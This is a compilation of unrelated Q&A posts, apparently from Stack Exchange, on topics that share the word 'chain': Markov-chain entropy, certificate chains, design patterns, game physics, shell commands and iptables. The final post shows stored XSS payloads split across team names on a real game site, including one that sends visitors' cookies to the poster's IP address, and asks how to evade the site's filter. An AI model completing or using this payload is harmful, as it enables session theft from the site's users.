information theory, find entropy given Markov chain

There is an information source on the information source alphabet $ A = \{a, b, c\}$ represented by the state transition diagram below:

Markov chain

a) The random variable representing the $ i$ -th output from this information source is represented by $ X_i$ . It is known that the user is now in state $ S_1$ . In this state, let $ H (X_i|s_1)$ denote the entropy when observing the next symbol $ X_i$ , find the value of $ H (X_i|s_1)$ , entropy of this information source, Calculate $ H (X_i|X_{i-1}) $ and $ H (X_i)$ respectively. Assume $ i$ is quite large

How can I find $ H(X_i|s_1)?$ I know that $ $ H(X_i|s_1) = -\sum_{i,s_1} p\left(x_i, s_1\right)\cdot\log_b\!\left(p\left(x_i|s_1\right)\right) = -\sum_{i,j} p\left(x_i, s_1\right)\cdot\log_b\!\left(\frac{p\left(x_i, s_1\right)}{p\left(s_1\right)}\right)$ $ but I don’t know $ p(s_1)$ .

$ $ A=\begin{pmatrix}0.25 & 0.75 & 0\0.5 & 0 & 0.5 \0 & 0.7 & 0.3 \end{pmatrix}.$ $

From matrix I can know that $ p(s_1|s_1)=0.25$ , etc.

But what is the probability of $ s_1$ ? And how can I calculate $ H (X_i|X_{i-1})$ ?

Can’t Identify the CA certificate chain in the server’s certification manager to auto enroll it

I’m on Windows Server 2019 with AD/DC,DHCP,DNS,Remote Access and CA roles installed on it. I created a VPN certification (for SSTP and IKEv2) on my server, issued it and installed it in the personal certificate store. now I want my clients (basically Windows 10 pro machines) to automatically receive the CA Certificate Chain so that they can trust certificated issued on my server like the VPN cert. I’m gonna do this using group policy but the problem is I can’t tell which one of the installed certificates in the certificate store of the local machine (Server 2019)is actually the CA Certificate Chain.

I have 3 identical CA certificates, 2 of them are in the Trusted root certificate authority store and one of the is in the personal store.

here is the details of those 3 certs, the screenshots i took from the details are the same in all 3 certificates.

View post on

I’d appreciate if someone can help me find the right one.

Chain of responsibility or simple dependency injection for Querying API

I am working on refactoring a project code that is wired up in a tangled way. It was started with decent dependency injection and over time with all custom requirements it looks it got tangled up. This is the outline of the service functionality

1. Get the request from the user 2. Infer some business logic based on the user and request information - Determine user access privileges, get data from external services to help with building the query, etc 3. build a complex query to send to backend  4. execute the query by sending it to backend and get the results  5. Any postprocessing that needs to be done on the results (do some last mile filtering of results, decorate it with more data, etc) 6. Build a response using the results we got from line 5 and return it back 

I have two slight variants in mind now and i would like to get some suggestions on which option is better.

Option 1

Break down some objects by following single responsibility principle and then wire up the objects in a simple way  RequestObjectBuilder UserAccessInformation     extractAccessInformation BusinessLogic1Extractor     extract business logic by calling external services BusinessLogic2Extractor     extract business logic by calling external services  QueryBuilder - use all dependencies and input and build the query (Query Building would be broken down into pieces and dependencies would be injected where needed)     UserAccessInformation     BusinessLogic1Extractor     BusinessLogic2Extractor      String buildQuery(RequestInput request)           ResponseBuilder     PostProcessingBusinessLogic1     buildResponse()  

Option 2

Break down some objects by following single responsibility principle and chain them together using chain of responsibility pattern       PreprocessorChain   - order of preprocessor matters a lot when one is dependent on some fields populated in context by other         void run(List<Preprocessor> processes)      Preprocessor  - each preprocessor will read input and context and update the context back         void preprocess(RequestContext context, RequestInput request)         QueryBuilder - read the context and input and build the query         String buildQuery((RequestContext context, RequestInput request)                         PostProcessorChain         void postprocess(ResponseContext context, ResponseOutput response)  

I feel that option 2 would give me flexibility but I dont like the idea of passing around a context object and use that as both input and output. THe problem with option 1 is, it doenst abstract out preprocessors and postprocessors very well. Should i go for a hybrid approach ? Any suggestions from your experience?

Is there a way to become proficient in using a Spiked Chain as a non-improvised weapon?

The spiked chain was an exotic reach weapon in D&D 3.5, but is absent from D&D 5e. The use of such a weapon (probably) falls under using improvised weapons.

Is there such a way for a character to become proficient with a exotic/improvised weapon without pursuing proficiency with all improvised weapons?

Build Vorticity Matrix for Markov chain

I have a markov chain with $ Q(u,v)$ as transition probability matrix and $ \pi(u)$ as stationary distribution. The dimension of matrix $ Q$ is $ nxn$ and vector $ \pi$ is $ 1xn$ .

I need to build a vorticity matrix $ \Gamma (u,v)$ of dimension $ nxn$ which has below properties

  1. $ \Gamma$ is skew symmetric matrix i.e, $ $ \Gamma (u,v) = -\Gamma (v,u)$ $

  2. Row sum of $ \Gamma$ is zero for every row i.e, $ $ \sum_v \Gamma (u,v) = 0$ $

  3. Third property is, $ $ \Gamma(u,v) \geq -\pi (v)Q(v,u) $ $

How to build vorticity matrix $ \Gamma (u,v)$ which satisfies above three properties?

NOTE: Transition probability matrix $ P$ , and stationary distribution $ \pi$ has below properties

Row sum of $ P$ is one for each row, $ $ \sum_v P(u,v)=1$ $ $ \pi$ is probability distribution hence, $ $ \sum_v \pi(v) = 1$ $ Stationary distribution condition for $ \pi$ , $ $ \sum_u \pi(u) P(u,v) = \pi(v)$ $

Verlet chain with two fixed points is not converging properly

I am trying to create a simple chain between two fixed endpoints. The problem is that I can’t seem to get the chain to reach a stable state. Further, the chain is always biased toward one of the endpoints.

Here are my constants and variables:

const NUMBER_OF_LINKS = 100 const CHAIN_LENGTH = 400 const DIST_BETWEEN_LINKS = CHAIN_LENGTH / NUMBER_OF_LINKS const ITERATIONS = 20 # number of times we iterate through constraints each frame const GRAVITY = Vector2(0, 300)  var anchor1 var anchor2  var prev_link_positions = [] var links = [] 

Here’s what I do on initialization:

create_links(NUMBER_OF_LINKS)  var first_link = links[0] var last_link = links[NUMBER_OF_LINKS - 1]  first_link.global_position = anchor1.global_position last_link.global_position = anchor2.global_position 

And here are the adjustments I do each frame:

links[0].global_position = anchor1.global_position links[NUMBER_OF_LINKS - 1].global_position = anchor2.global_position  for i in range(NUMBER_OF_LINKS):     var acceleration = GRAVITY     acceleration *= delta * delta     var prev_position = links[i].global_position     if not i in [0, NUMBER_OF_LINKS - 1]:         links[i].global_position = 2*links[i].global_position - prev_link_positions[i] + acceleration     prev_link_positions[i] = prev_position  for iteration in range (ITERATIONS):     for i in range(NUMBER_OF_LINKS):         var link = links[i]               var prev_link_position         if i == 0 or i == NUMBER_OF_LINKS - 1:             prev_link_position = links[i].global_position         else:             prev_link_position = links[i-1].global_position          var next_link_position         if i == 0 or i == NUMBER_OF_LINKS - 1:             next_link_position = links[i].global_position         else:             next_link_position = links[i+1].global_position          # get vector to previous link and adjust position         var vec_to_prev_link = prev_link_position - link.global_position         link.global_position += vec_to_prev_link.normalized() * max(vec_to_prev_link.length() - DIST_BETWEEN_LINKS, 0) / 2.0          # get vector to next link and adjust position         var vec_to_next_link = next_link_position - link.global_position         link.global_position += vec_to_next_link.normalized() * max(vec_to_next_link.length() - DIST_BETWEEN_LINKS, 0) / 2.0 

When I run this, I almost get what I want, except the chain contorts and never reaches a stable state. Also, it is biased in the first direction I look at when solving the constraints.

It looks something like this:

enter image description here

What am I doing wrong? How can I get a chain that stabilizes with links more uniformly distributed?

How to chain unix commands in jupyter notebooks while on windows 10?

My Os is windows 10 and I am using a jupyter notebook from anaconda prompt.

When I type !pwd it works, When I type !ls -l it works, But when I want to chain the commands and output them to an output file e.g. !(pwd; ls-l) > out.txt it says: “pwd: unknown option — l Try ‘pwd –help’ for more information.”

Does anyone know how to chain these commands and output them to a file?

Thank you in advance

How can iptables both have (ACCEPT, all, anywhere, anywhere) and (DROP, all, anywhere, anywhere) in its INPUT chain?

How can iptables both have (ACCEPT, all, anywhere, anywhere) and (DROP, all, anywhere, anywhere) in its INPUT chain?

How is it meaningful for iptables to both have rules for ACCEPT and DROP all traffic in its INPUT chain with a default policy of DROP?

In this case, will traffic actually be accepted or dropped? I see that special rules exists for ssh and http, so they would naturally take precendece, because they are more specific?

# iptables -L Chain INPUT (policy DROP) target     prot opt source               destination          ACCEPT     all  --  anywhere             anywhere             ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED DROP       all  --  anywhere             anywhere             ctstate INVALID ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh ctstate NEW,ESTABLISHED ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http ctstate NEW,ESTABLISHED ACCEPT     icmp --  anywhere             anywhere              Chain FORWARD (policy DROP) target     prot opt source               destination           Chain OUTPUT (policy DROP) target     prot opt source               destination          ACCEPT     all  --  anywhere             anywhere             ACCEPT     all  --  anywhere             anywhere             ctstate ESTABLISHED ACCEPT     tcp  --  anywhere             anywhere             tcp spt:ssh ctstate ESTABLISHED ACCEPT     tcp  --  anywhere             anywhere             tcp spt:http ctstate ESTABLISHED 

Is frequency vector a good choice for minimizing chain code derivative vector?

I’m trying to implement a feedforward neural network that recognize a type of cable based on chain codes derivative vector. The size of my chain codes derivative vectors is variable, and I would like them to converge to the same length. As a solution I’m thinking about a frequency vector that will contain each direction(8 in total). So from a variable length, all the vectors will converge to vectors of length 8. Is this approach ok?

How to chain XSS payloads?

I found a parameter on a website that is vulnerable to XSS. The website is a game and the parameter in question is the name of a player team. However, the parameter is limited to only 20 characters. There is another page on the website where these player teams can be showcased. I can make multiple player teams and have their names display on this page.

I was able to create an alert box by using the following team names on three separate teams:

<script>alert(/* */'1'/* </script> 

The comments skip any HTML between the team names, therefore “chaining” them and showing the alert box. However, nothing really malicious can be done with this.

I wanted to implement cookie-stealing, so first I created this payload (the IP address has been changed except for the “169” value, and the character count of the IP address is identical to the real IP address):


Of course, this would not fit in 20 characters, so I split it up like so (I am able to create up to 8 player teams to show on the page):

<script>docu/* */ment.location=/* */'http://12.16/* */9.123.929:80/1.p/* */hp?c=/* */'+docu/* */ment.cookie; */</script> 

(the words “document” and “69” must be separated since the site’s filter thinks they are inappropriate)

However, I encountered some problems while doing this. First off, the slashes in http:// are interpreted as comments and start commenting undesired things. Second, whenever there is a ' symbol, any comment after it is ignored. For instance: Comment not working

How can I circumvent this and make the XSS chain together?